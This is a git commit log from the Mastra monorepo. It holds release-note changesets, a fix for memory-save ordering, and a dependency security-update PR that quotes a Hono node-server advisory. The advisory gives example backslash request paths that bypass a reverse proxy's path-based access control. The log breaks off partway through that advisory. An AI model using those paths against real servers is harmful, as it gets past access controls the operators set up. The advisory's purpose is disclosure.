**`packages/memory/integration-tests/src/performance-testing/performance-tests.ts`**
(+23)

- Imports the `MastraVector` type.
- Before timing, checks that indexed vector rows are at least
`threadCount * messagesPerThread`.
- Before timing, runs a thread-scoped semantic recall for each thread.
Checks that results are nonempty and belong to that thread.
- The timed query measurements and p95 threshold are not changed.

**`.changeset/quiet-owls-reuse.md`** (+5)

- Adds a patch changeset for `@mastra/memory`. It describes reuse of
vectors for repeated or re-saved text and the exclusion of reused
vectors from reported usage.

## Reported results

These results come from the PR description. They are not verified by
completed checks on the current head.

- Three saves of 50 messages with repeated text: embedding calls fell
from 150 to 50. Stored row counts are reported unchanged.
- Repeated-text FastEmbed time: about 7.6 s before, 2.6 s after.
- Unique, raw-string, and long-text call counts: reported unchanged.
- `@mastra/memory` unit tests: 2,689 passing, 1 todo.
- Typecheck, lint, and format: reported clean.
- LibSQL benchmark with 2,500 messages: reported passing.

## Not verified

- Test, typecheck, lint, format, and benchmark results. No completed
check on the current head was available.
- The test count in the new test file.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-14 18:29:53 -08:00
dane-ai-mastra[bot]
15dc07c51d
chore: version packages (alpha) (#30394)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/core@1.84.0-alpha.2

### Minor Changes

- Added run metadata to background process callbacks.
([#30161](https://github.com/mastra-ai/mastra/pull/30161))

`backgroundProcesses` callbacks on `execute_command` now receive, when
available, the `agentId`, `threadId`, `resourceId`, and `runId` of the
call that started the process, so hosts can route exit notices to the
right conversation. `onExit` also receives `killedByAbort`, which is
`true` when the abort signal fired (the run's signal by default) and
killed the process.

  ```ts
  backgroundProcesses: {
    onExit: ({ pid, exitCode, threadId, killedByAbort }) => {
if (!killedByAbort) notifyThread(threadId, `Process ${pid} exited with
code ${exitCode}`);
    },
  },
  ```

`truncateOutput` and `DEFAULT_TAIL_LINES` are now exported from
`@mastra/core/workspace`, so hosts can trim process output the same way
`execute_command` does.

### Patch Changes

- Fixed retries in `dountil` and `dowhile` loops on the evented engine.
Each iteration of a loop body now starts at `retryCount` 0 and gets the
step's full `retries`, as on the default engine. Before, the count
carried over from earlier iterations, so a body that failed once in a
later iteration could run out of retries and fail the run.
([#30383](https://github.com/mastra-ai/mastra/pull/30383))

If your step code reads `retryCount` inside a loop body, it now gets the
attempt within the current iteration. The loop condition receives the
iteration number as `iterationCount`. To use it inside the body, pass it
through the step's output or workflow state.

- Fixed durable agent runs failing with
`DURABLE_AGENT_EXECUTION_UNVERIFIED` when an ownership check took longer
than the lease TTL (15 seconds by default) while the same process still
held the run. These runs used to fail and lose their saved snapshots.
They now keep running, and a step stops only when an ownership check
fails, the claim can't be renewed before it expires, or another
execution takes over the run.
([#30386](https://github.com/mastra-ai/mastra/pull/30386))

- Fixed workflow recovery restarting a run that is still executing,
which ran its steps twice. `startAsync()` now takes the run's lease
before it saves the first snapshot, so it resolves after the lease is
taken and rejects if taking it fails. Runs of workflows whose
`shouldPersistSnapshot` saves `waiting` but not `running` now hold a
lease too, so recovery no longer restarts them while they execute or
sleep. ([#30384](https://github.com/mastra-ai/mastra/pull/30384))

- `processToolResult` now sees and can rewrite a tool's `toModelOutput`
result. Previously, when a tool mapped its result with `toModelOutput`
(for example a file viewer returning images), output processors only saw
and changed the raw result, and the mapped output, images included,
still reached the next model call and stored history unchanged.
([#30401](https://github.com/mastra-ai/mastra/pull/30401))

The hook now receives `modelOutput`. To replace it, commit a
`result`-state part that carries the new value in
`providerMetadata.mastra.modelOutput`:

  ```ts
processToolResult({ messageList, toolCallId, toolName, args, result,
modelOutput }) {
    messageList.updateToolInvocation({
      type: 'tool-invocation',
toolInvocation: { state: 'result', toolCallId, toolName, args, result },
providerMetadata: { mastra: { modelOutput: shrinkImages(modelOutput) }
},
    });
  }
  ```

A processor that replaces only `result`, or edits it in place, now has
the new value mapped through `toModelOutput` again, so the model reads
the mapping of the processed result rather than of the original. With
several processors, each one receives the `modelOutput` the processor
before it committed, so a later processor can't bring back an image an
earlier one removed. This applies to both regular and durable agents. In
durable agents, a `processToolResult` that throws now also keeps the
unprocessed mapped output from the model, not only the raw result.
## @mastra/client-js@1.60.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/react@1.15.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/client-js@1.60.1-alpha.2
## @mastra/deployer-cloud@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## @mastra/longmemeval@1.1.43-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/opencode@0.1.43-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/factory@0.29.0-alpha.2

### Patch Changes

- Recognize Detail findings as linked work items so intake cards retain
their external source and rule identity.
([#30410](https://github.com/mastra-ai/mastra/pull/30410))

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/code-sdk@1.19.1-alpha.2
## create-factory@0.4.4-alpha.2

### Patch Changes

- Updated dependencies:
  - mastra@1.39.1-alpha.2
## @mastra/code-sdk@1.19.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/client-js@1.60.1-alpha.2
## mastracode@0.50.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/code-sdk@1.19.1-alpha.2
## @mastra/agent-builder@1.2.2-alpha.1

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## mastra@1.39.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## @mastra/deployer@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/editor@0.17.2-alpha.1

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
## @mastra/mcp-docs-server@1.3.14-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/memory@1.41.2-alpha.1

### Patch Changes

- Observational Memory does half as much work per step in long tool
runs. Token counting no longer serializes every plain JSON tool result a
second time just to check it for images, so each step serializes the
earlier tool results twice instead of four times. Token counts are
unchanged. ([#30400](https://github.com/mastra-ai/mastra/pull/30400))

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/playground-ui@69.1.0-alpha.2

### Patch Changes

- Connect providers that use OAuth client credentials (`OAUTH2_CC`) or
no authentication (`NONE`) without leaving Studio. Client-credential
providers ask for a client ID and secret in the connect dialog;
providers with no authentication connect immediately instead of opening
an OAuth popup.
([#30336](https://github.com/mastra-ai/mastra/pull/30336))

Providers whose catalog lists only connection settings (for example a
subdomain) now also ask for their API key, username and password, or
client ID and secret. Previously the dialog showed only the settings,
and the connection failed.

The headless connect helpers in `@mastra/playground-ui/domains/connect`
now return a fully resolved `HeadlessAuthField` and support conditional
fields (`visibleWhen`), so other apps can import them instead of keeping
their own copy.

  ```ts
  import {
    headlessAuthFieldKey,
    headlessAuthFields,
    isHeadlessAuthFieldVisible,
    splitHeadlessAuthValues,
    startHeadlessAuth,
  } from '@mastra/playground-ui/domains/connect';

// Every field comes back fully resolved: label, target, required, and
so on are always set.
  const fields = headlessAuthFields(provider);

// Render only the fields whose `visibleWhen` condition matches the
current values.
const visible = fields.filter(field =>
isHeadlessAuthFieldVisible(fields, field, values));
const missingRequired = visible.some(field => field.required &&
!values[headlessAuthFieldKey(field)]);

  // On submit, values for hidden fields are dropped.
const { credentials, params } = splitHeadlessAuthValues(fields, values);
  await startHeadlessAuth({
    sessionToken,
    integrationId: provider.id,
    authType: provider.authType,
    credentials,
    params,
  }).result;
  ```

- Updated dependencies
[[`7277766`](7277766d6c),
[`9eae968`](9eae9680d2),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/memory@1.41.2-alpha.1
  - @mastra/client-js@1.60.1-alpha.2
  - @mastra/ai-sdk@1.12.0
  - @mastra/react@1.15.1-alpha.2
## @mastra/server@1.84.0-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
## @mastra/elysia@0.1.24-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/express@1.5.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/fastify@1.5.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/hono@1.7.26-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/koa@1.7.28-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/nestjs@0.3.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/next@0.2.42-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/hono@1.7.26-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/tanstack-start@0.2.42-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/hono@1.7.26-alpha.2
  - @mastra/server@1.84.0-alpha.2
## @mastra/temporal@0.6.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/deployer@1.84.0-alpha.2
## create-mastra@1.39.1-alpha.2


## @internal/playground@1.39.1-alpha.2

### Patch Changes

- Updated dependencies
[[`7277766`](7277766d6c),
[`2f4a9ed`](2f4a9ed771),
[`951a18b`](951a18b085),
[`f4458ee`](f4458eea7f),
[`a3b4ef9`](a3b4ef9ecd),
[`547600d`](547600d004)]:
  - @mastra/core@1.84.0-alpha.2
  - @mastra/playground-ui@69.1.0-alpha.2
  - @mastra/client-js@1.60.1-alpha.2
  - @mastra/react@1.15.1-alpha.2

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-14 10:23:58 -08:00
Tyler Barnes
9eae9680d2
fix(memory): serialize tool results half as often in long Observational Memory runs (#30400) 2026-11-14 09:36:02 -07:00
dane-ai-mastra[bot]
1c52fdd034
chore: version packages (alpha) (#30261)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/factory@0.29.0-alpha.1


## @mastra/core@1.84.0-alpha.1


## @mastra/playground-ui@69.1.0-alpha.1


## @mastra/client-js@1.60.1-alpha.1


## @mastra/react@1.15.1-alpha.1


## @mastra/deployer-cloud@1.84.0-alpha.1


## @mastra/longmemeval@1.1.43-alpha.1


## @mastra/opencode@0.1.43-alpha.1


## create-factory@0.4.4-alpha.1


## @mastra/code-sdk@1.19.1-alpha.1


## mastracode@0.50.1-alpha.1


## @mastra/arize@1.3.31-alpha.0


## @mastra/arthur@0.4.31-alpha.0


## @mastra/braintrust@1.3.28-alpha.0


## @mastra/datadog@1.4.23-alpha.0


## @mastra/deepeval@0.1.25-alpha.0


## @mastra/laminar@1.3.33-alpha.0


## @mastra/langfuse@1.6.7-alpha.0


## @mastra/langsmith@1.4.4-alpha.0


## @mastra/observability@1.24.1-alpha.0


## @mastra/otel-bridge@1.5.23-alpha.0


## @mastra/otel-exporter@1.5.3-alpha.0


## @mastra/posthog@1.4.8-alpha.0


## @mastra/sentry@1.2.33-alpha.0


## @mastra/agent-builder@1.2.2-alpha.0


## mastra@1.39.1-alpha.1


## @mastra/connect@1.4.1-alpha.0


## @mastra/deployer@1.84.0-alpha.1


## @mastra/editor@0.17.2-alpha.0


## @mastra/mcp-docs-server@1.3.14-alpha.1


## @mastra/memory@1.41.2-alpha.0


## @mastra/server@1.84.0-alpha.1


## @mastra/google-cloud-pubsub@1.1.8-alpha.0


## @mastra/redis-streams@0.8.2-alpha.0


## @mastra/valkey-streams@0.6.3-alpha.0


## @mastra/elysia@0.1.24-alpha.1


## @mastra/express@1.5.28-alpha.1


## @mastra/fastify@1.5.28-alpha.1


## @mastra/hono@1.7.26-alpha.1


## @mastra/koa@1.7.28-alpha.1


## @mastra/nestjs@0.3.1-alpha.1


## @mastra/next@0.2.42-alpha.1


## @mastra/tanstack-start@0.2.42-alpha.1


## @mastra/clickhouse@1.30.1-alpha.0


## @mastra/cloudflare@1.8.1-alpha.0


## @mastra/cloudflare-d1@1.5.1-alpha.0


## @mastra/convex@1.9.1-alpha.0


## @mastra/dsql@1.5.8-alpha.0


## @mastra/dynamodb@1.5.2-alpha.0


## @mastra/libsql@1.30.1-alpha.0


## @mastra/mongodb@1.27.1-alpha.0


## @mastra/mssql@1.11.2-alpha.0


## @mastra/mysql@0.17.1-alpha.0


## @mastra/oracledb@0.5.7-alpha.0


## @mastra/pg@1.36.1-alpha.0


## @mastra/redis@1.4.14-alpha.0


## @mastra/spanner@1.12.1-alpha.0


## @mastra/turso@0.1.22-alpha.0


## @mastra/upstash@1.6.2-alpha.0


## @mastra/valkey@0.2.10-alpha.0


## @mastra/temporal@0.6.1-alpha.1


## @mastra/daytona@0.11.6-alpha.0


## create-mastra@1.39.1-alpha.1


## @internal/playground@1.39.1-alpha.1

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-13 19:58:20 -08:00
Tyler Barnes
8ac88228d6
fix(core): remove the 10 ms pause after memory saves and keep same-millisecond turns in order (#29148)
## What

Removes the 10 ms pause `MessageHistory` waited after every memory save,
and fixes the ordering bug that pause had been hiding.

Stacked on #29142 (keep a forwarded queued message until the owning run
accepts it). Retarget to `main` once that merges.

## Why

The pause was added so the next message's timestamp would always land
after the saved one. Without it, a new turn's input can be stamped in
the same millisecond as the previous turn's stored answer. Sorting on
equal timestamps then puts the stored answer last, and the new turn's
response merges into that old answer. Under load,
`signals-pending-cancellation` "answers the follow-up after
upstream/thread cancellation" failed 2 of 12 runs this way.

Every memory-backed call also paid at least 10 ms per save.

## How

- `message-history.ts`: drop the post-save `setTimeout`. Stored history
is now added in a single `add(array, 'memory')` call, as semantic recall
already does.
- `MessageList`: after a memory add, any live message whose timestamp
equals a stored one moves 1 ms later, skipping other stored times, and
its signal `createdAt` is kept in sync. Live messages that tie only with
each other keep their timestamps. The pass runs once per add, in O(n log
n).

## Test changes (setup only, no assertion changes)

- New `input-after-stored-history-tie.test.ts`: a tied new turn stays
after the stored answer (fails without the fix), and same-ms live
messages with no stored tie are left untouched.
- `signals-pending-cancellation` lease-loss test now waits for the
follow-up run to register before it vanishes. Without the pause, the run
could vanish before registering, and the message was delayed past the
test window. The test still fails against a runtime without the lease
watch.
- `provider-history-compat` fixture: explicit ascending `createdAt`
values in place of four `new Date()` calls that landed in the same ms.
- `background-task-call-id-reuse` scenario: waits for the last
background result instead of relying on the pause.

## Testing

- Full core unit lane (`--project unit:packages/core`, Node 24, 5 CPUs):
1,560/1,560 files, 25,295 passed, 0 failed.
- Signals, message-list and call-id-reuse suites: 3 repeated runs, 1,169
passed each.
- `tsc --noEmit` and oxlint are clean.

Not verified: real multi-process pubsub (Unix socket/Redis), and stores
other than core's in-memory and test stores.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a chat app saves a reply, it used to wait 10 ms. Two
messages could also get the same timestamp and sort in the wrong order.
This change removes the wait and keeps messages in the correct order,
even when timestamps match.

## Overview

This change removes the 10 ms pause after each memory save in
`MessageHistory`. It also changes how `MessageList` orders live messages
whose timestamps match stored history. Without this change, a new turn's
response could merge into the previous turn's stored answer. The change
also covers a forwarded-idle case, where a run can start after another
process's lease disappears. The runtime clears the forwarded run's
active IDs only when the stream ID and run ID still match the values it
read before the lease check.

## Changes by area

**Memory save path**
- `packages/core/src/processors/memory/message-history.ts`:
`processInput` adds all chronological history in one `add(array,
'memory')` call. It previously added each message separately.
`processOutputResult` no longer waits 10 ms after it persists messages.

**Message ordering**
- `packages/core/src/agent/message-list/message-list.ts`:
`MessageList.add` runs `moveLiveMessagesPastStoredTies` after it
processes inputs. The pass runs once per add.
- When memory messages exist, the pass marks them as stored.
- It moves live messages that share a stored timestamp. It also moves
live messages that would no longer follow a moved live message.
- It skips other stored times when it chooses new timestamps.
- It orders placements by each message's own timestamp and arrival
order.
- It preserves anchored signals. It updates matching signal `createdAt`
values and the ordering watermark.
- It re-queues moved persisted messages, so the moved timestamps are
saved again.
- It sorts the list only when a message moved.
- Live messages that tie only with each other keep their timestamps.

**Remote run forwarding**
- `packages/core/src/agent/thread-stream-runtime.ts`: The forwarded
idle-signal lease checker snapshots the active stream ID before it reads
the lease.
- After consecutive checks show that the target run no longer holds the
lease, and its unadmitted signals are requeued, the runtime clears that
run's active run ID and stream ID.
- It clears them only when the run has no local record, the active
stream ID is unchanged from the snapshot, and the active run ID still
matches.
- It then drains pending idle signals.

**Tests**
-
`packages/core/src/agent/__tests__/signals-pending-cancellation.test.ts`:
Adds and updates coverage for follower idle messages. The cases cover
runs that end, are superseded, or lose their lease before delivery. The
vanished-owner tests wait for the follow-up run's registration to reach
subscribers before they end the run. A new test checks that a follower
with queued work does not start local execution after it unsubscribes
and sees the lease disappear. Another test checks that a run that takes
the thread during an in-flight lease read stays active. A further test
checks that a remote run that starts and ends during that read does not
block the drain of queued work.
-
`packages/core/src/agent/message-list/tests/input-after-stored-history-tie.test.ts`
(new): Covers ties between stored history and live input, response, and
context. It checks reminder placement, deduplication under turn sources,
and turn order when stored history arrives in batches. A save test
checks that a moved input is returned for saving with its updated
timestamp.
-
`packages/core/src/loop/test-utils/aimock/scenarios/background-task-call-id-reuse.scenario.test.ts`:
Waits after each turn until that turn's background result appears in
recalled memory.
- `packages/core/src/processors/provider-history-compat.test.ts`: Gives
transcript messages explicit, sequential timestamps. The test still
checks that API-error repair removes the earlier empty signed block.
-
`packages/memory/src/processors/observational-memory/__tests__/message-utils.test.ts`:
Gives stored messages timestamps earlier than the live input. It expects
observable order `memory-1`, `input-1`, `response-1`. It still checks
that the synthetic continuation is excluded from observable messages.

**Release notes**
- `.changeset/memory-save-no-pause.md`: Adds a patch changeset for
`@mastra/core`. It documents the removed pause, the same-millisecond
ordering fix, and the queued-message case.

## Public API

No exported or public declarations change.

## Scope

9 files changed. 571 lines added and 26 removed.

## Validation

The PR author reports these results. This summary does not verify them.
- Core unit lane (`--project unit:packages/core`, Node 24, 5 CPUs):
1,560 files and 25,295 tests passed.
- Signals, message-list, and call-ID-reuse suites: 1,169 tests each
passed across three runs.
- `tsc --noEmit` and oxlint: clean.
- Not verified: real multi-process pubsub (Unix socket or Redis), and
stores other than core's in-memory and test stores.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:33:04 -07:00
Dane - AI (Mastra)
93290db03e
chore(deps): update security updates [security] (#30258)
> [!NOTE]
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
devDependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
dependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server@>=2.0.0
<2.1.3](https://redirect.github.com/honojs/node-server) |
pnpm-workspace.overrides | patch | [`2.1.3` →
`2.1.6`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.3/2.1.6)
|
|
[basic-ftp@<6.2.1](https://redirect.github.com/patrickjuchli/basic-ftp)
| pnpm-workspace.overrides | patch | [`6.2.1` →
`6.2.4`](https://renovatebot.com/diffs/npm/basic-ftp/6.2.1/6.2.4) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`^4.13.11` →
`^4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.11](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.13](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.13` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.13/4.13.16) |
| [hono@<4.13.8](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### @&#8203;hono/node-server: Backslash in the request path is parsed as
a path separator, bypassing path-based access control at a reverse proxy
[CVE-2026-126210](https://nvd.nist.gov/vuln/detail/CVE-2026-126210) /
[GHSA-jpvv-r467-5p4w](https://redirect.github.com/advisories/GHSA-jpvv-r467-5p4w)

<details>
<summary>More information</summary>

#### Details
##### Summary

`@hono/node-server` passes the raw request-target to the WHATWG URL
parser, which treats a backslash in the path as `/` and then resolves
`..` segments. A request for `/admin\secret` or
`/public\..\admin/secret` reaches the application as `/admin/secret`. A
reverse proxy that follows RFC 3986 forwards the backslash unchanged and
applies its path-based rules to the original path, so the request
reaches a route the proxy is meant to block.

##### Details

A raw backslash is not allowed in a request-target (RFC 3986, RFC 9112
Section 3.2.1), and RFC 9112 Section 3.2 says a recipient should reject
such a request rather than correct it. Proxies such as nginx on Linux,
HAProxy and Envoy keep the backslash as an ordinary character, so they
and the application see different paths.

The fix responds with `400 Bad Request` to a request whose path contains
a raw backslash, for HTTP/1.1, HTTP/2, absolute-form request-targets and
WebSocket upgrades. A percent-encoded backslash and a backslash in the
query string are still accepted.

##### Impact

An unauthenticated client can reach a route that a reverse proxy, load
balancer or WAF in front of the application blocks by path.

This affects applications served by `@hono/node-server` behind a front
component that makes path-based decisions and forwards a backslash
unchanged. Access control inside the Hono application, such as
middleware on `/admin/*`, runs on the rewritten path and is not
affected.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w)
-
[3868998a80)
-
[fb97395ec3)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
